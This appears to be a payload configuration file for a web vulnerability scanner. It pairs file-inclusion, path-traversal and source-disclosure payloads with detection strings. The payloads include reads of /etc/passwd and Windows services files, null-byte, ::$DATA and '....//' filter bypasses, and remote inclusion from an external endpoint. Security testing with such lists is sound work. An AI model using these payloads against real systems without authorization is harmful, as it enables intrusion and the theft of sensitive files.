; Each payload can match one or more detection rules.
; Each rule will generate one specific success message.
; A rule must be at the same position than its corresponding message.
; If there is X rules then you must specify X messages even if it is the same one.
[remote_inclusion]
payload = [EXTERNAL_ENDPOINT]e.php
rules = aa9d05b9ab864e169d723e9668d3dc77
    w4p1t1_cleartext
messages = Remote inclusion vulnerability
    Remote file disclosure vulnerability

[remote_inclusion_with_nul]
payload = [EXTERNAL_ENDPOINT]e.php\0
rules = aa9d05b9ab864e169d723e9668d3dc77
    w4p1t1_cleartext
messages = Remote inclusion vulnerability
    Remote file disclosure vulnerability

[local_passwd]
payload = /etc/passwd
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_with_null]
payload = /etc/passwd\0
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_unix_services]
payload = /etc/services
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_with_null]
payload = /etc/services\0
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_windows_backslash]
payload = C:\Windows\System32\drivers\etc\services
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_backslash_with_null]
payload = C:\Windows\System32\drivers\etc\services\0
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_backslash_with_ads]
payload = C:\Windows\System32\drivers\etc\services::$DATA
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash]
payload = C:/Windows/System32/drivers/etc/services
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_with_null]
payload = C:/Windows/System32/drivers/etc/services\0
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_with_ads]
payload = C:/Windows/System32/drivers/etc/services::$DATA
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_unix_ten_up]
payload = ../../../../../../../../../../lib/
rules = libc.so.
messages = Unix Directory traversal vulnerability

[local_windows_ten_up]
payload = ../../../../../../../../../../windows/
rules = notepad.exe
messages = Windows Directory traversal vulnerability

[local_passwd_ten_up]
payload = ../../../../../../../../../../etc/passwd
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_twenty_up]
payload = ../../../../../../../../../../../../../../../../../../../../etc/passwd
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_ten_up_with_null]
payload = ../../../../../../../../../../etc/passwd\0
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_twenty_up_with_null]
payload = ../../../../../../../../../../../../../../../../../../../../etc/passwd\0
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_unix_services_ten_up]
payload = ../../../../../../../../../../etc/services
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_twenty_up]
payload = ../../../../../../../../../../../../../../../../../../../../etc/services
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_ten_up_with_null]
payload = ../../../../../../../../../../etc/services\0
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_twenty_up_with_null]
payload = ../../../../../../../../../../../../../../../../../../../../etc/services\0
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_windows_slash_ten_up]
payload = ../../../../../../../../../../Windows/System32/drivers/etc/services
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_twenty_up]
payload = ../../../../../../../../../../../../../../../../../../../../Windows/System32/drivers/etc/services
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_ten_up_with_null]
payload = ../../../../../../../../../../Windows/System32/drivers/etc/services\0
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_twenty_up_with_null]
payload = ../../../../../../../../../../../../../../../../../../../../Windows/System32/drivers/etc/services\0
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_passwd_starts_with_ten_up]
payload = [VALUE]/../../../../../../../../../../etc/passwd
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_starts_with_twenty_up]
payload = [VALUE]/../../../../../../../../../../../../../../../../../../../../etc/passwd
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_starts_with_ten_up_with_null]
payload = [VALUE]/../../../../../../../../../../etc/passwd\0
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_starts_with_twenty_up_with_null]
payload = [VALUE]/../../../../../../../../../../../../../../../../../../../../etc/passwd\0
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_unix_services_starts_with_ten_up]
payload = [VALUE]/../../../../../../../../../../etc/services
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_starts_with_twenty_up]
payload = [VALUE]/../../../../../../../../../../../../../../../../../../../../etc/services
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_starts_with_ten_up_with_null]
payload = [VALUE]/../../../../../../../../../../etc/services\0
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_starts_with_twenty_up_with_null]
payload = [VALUE]/../../../../../../../../../../../../../../../../../../../../etc/services\0
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_windows_slash_starts_with_ten_up]
payload = [VALUE]/../../../../../../../../../../Windows/System32/drivers/etc/services
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_starts_with_twenty_up]
payload = [VALUE]/../../../../../../../../../../../../../../../../../../../../Windows/System32/drivers/etc/services
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_starts_with_ten_up_with_null]
payload = [VALUE]/../../../../../../../../../../Windows/System32/drivers/etc/services\0
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_starts_with_twenty_up_with_null]
payload = [VALUE]/../../../../../../../../../../../../../../../../../../../../Windows/System32/drivers/etc/services\0
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_passwd_starts_with_dir_ten_up]
payload = [DIRVALUE]/../../../../../../../../../../etc/passwd
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_starts_with_dir_tewnty_up]
payload = [DIRVALUE]/../../../../../../../../../../../../../../../../../../../../etc/passwd
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_starts_with_dir_ten_up_with_null]
payload = [DIRVALUE]/../../../../../../../../../../etc/passwd\0
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_starts_with_dir_twenty_up_with_null]
payload = [DIRVALUE]/../../../../../../../../../../../../../../../../../../../../etc/passwd\0
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_unix_services_starts_with_dir_ten_up]
payload = [DIRVALUE]/../../../../../../../../../../etc/services
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_starts_with_dir_twenty_up]
payload = [DIRVALUE]/../../../../../../../../../../../../../../../../../../../../etc/services
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_starts_with_dir_ten_up_with_null]
payload = [DIRVALUE]/../../../../../../../../../../etc/services\0
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_starts_with_dir_twenty_up_with_null]
payload = [DIRVALUE]/../../../../../../../../../../../../../../../../../../../../etc/services\0
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_windows_slash_starts_with_dir_ten_up]
payload = [DIRVALUE]/../../../../../../../../../../Windows/System32/drivers/etc/services
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_starts_with_dir_twenty_up]
payload = [DIRVALUE]/../../../../../../../../../../../../../../../../../../../../Windows/System32/drivers/etc/services
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_starts_with_dir_ten_up_with_null]
payload = [DIRVALUE]/../../../../../../../../../../Windows/System32/drivers/etc/services\0
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_starts_with_dir_twenty_up_with_null]
payload = [DIRVALUE]/../../../../../../../../../../../../../../../../../../../../Windows/System32/drivers/etc/services\0
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_passwd_file_wrapper]
payload = file:///etc/passwd
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_windows_file_wrapper]
payload = file://C:\Windows\System32\drivers\etc\services
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_passwd_bypass_dotdotslash]
payload = ....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_bypass_dotdotslash_with_null]
payload = ....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd\0
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_unix_services_bypass_dotdotslash]
payload = ....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/services
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_bypass_dotdotslash_with_null]
payload = ....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/services\0
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_windows_bypass_dotdotslash]
payload = ....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//Windows/System32/drivers/etc/services
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_bypass_dotdotslash_with_null]
payload = ....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//Windows/System32/drivers/etc/services\0
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_passwd_bypass_ext]
payload = /etc/passwd\0.[EXTVALUE]
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_windows_bypass_ext]
payload = c:\Windows\System32\drivers\etc\services\0.[EXTVALUE]
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_passwd_bypass_ext_ten_up]
payload = ../../../../../../../../../../etc/passwd\0.[EXTVALUE]
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_windows_bypass_ext_ten_up]
payload = ../../../../../../../../../../windows/System32/drivers/etc/services\0.[EXTVALUE]
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_current_file]
payload = [FILE_NAME]
rules = <?php
messages = Possible source code disclosure

[local_current_file_with_null]
payload = [FILE_NAME]\0
rules = <?php
messages = Possible source code disclosure

[local_current_file_with_ads]
payload = [FILE_NAME]::$DATA
rules = <?php
messages = Possible source code disclosure
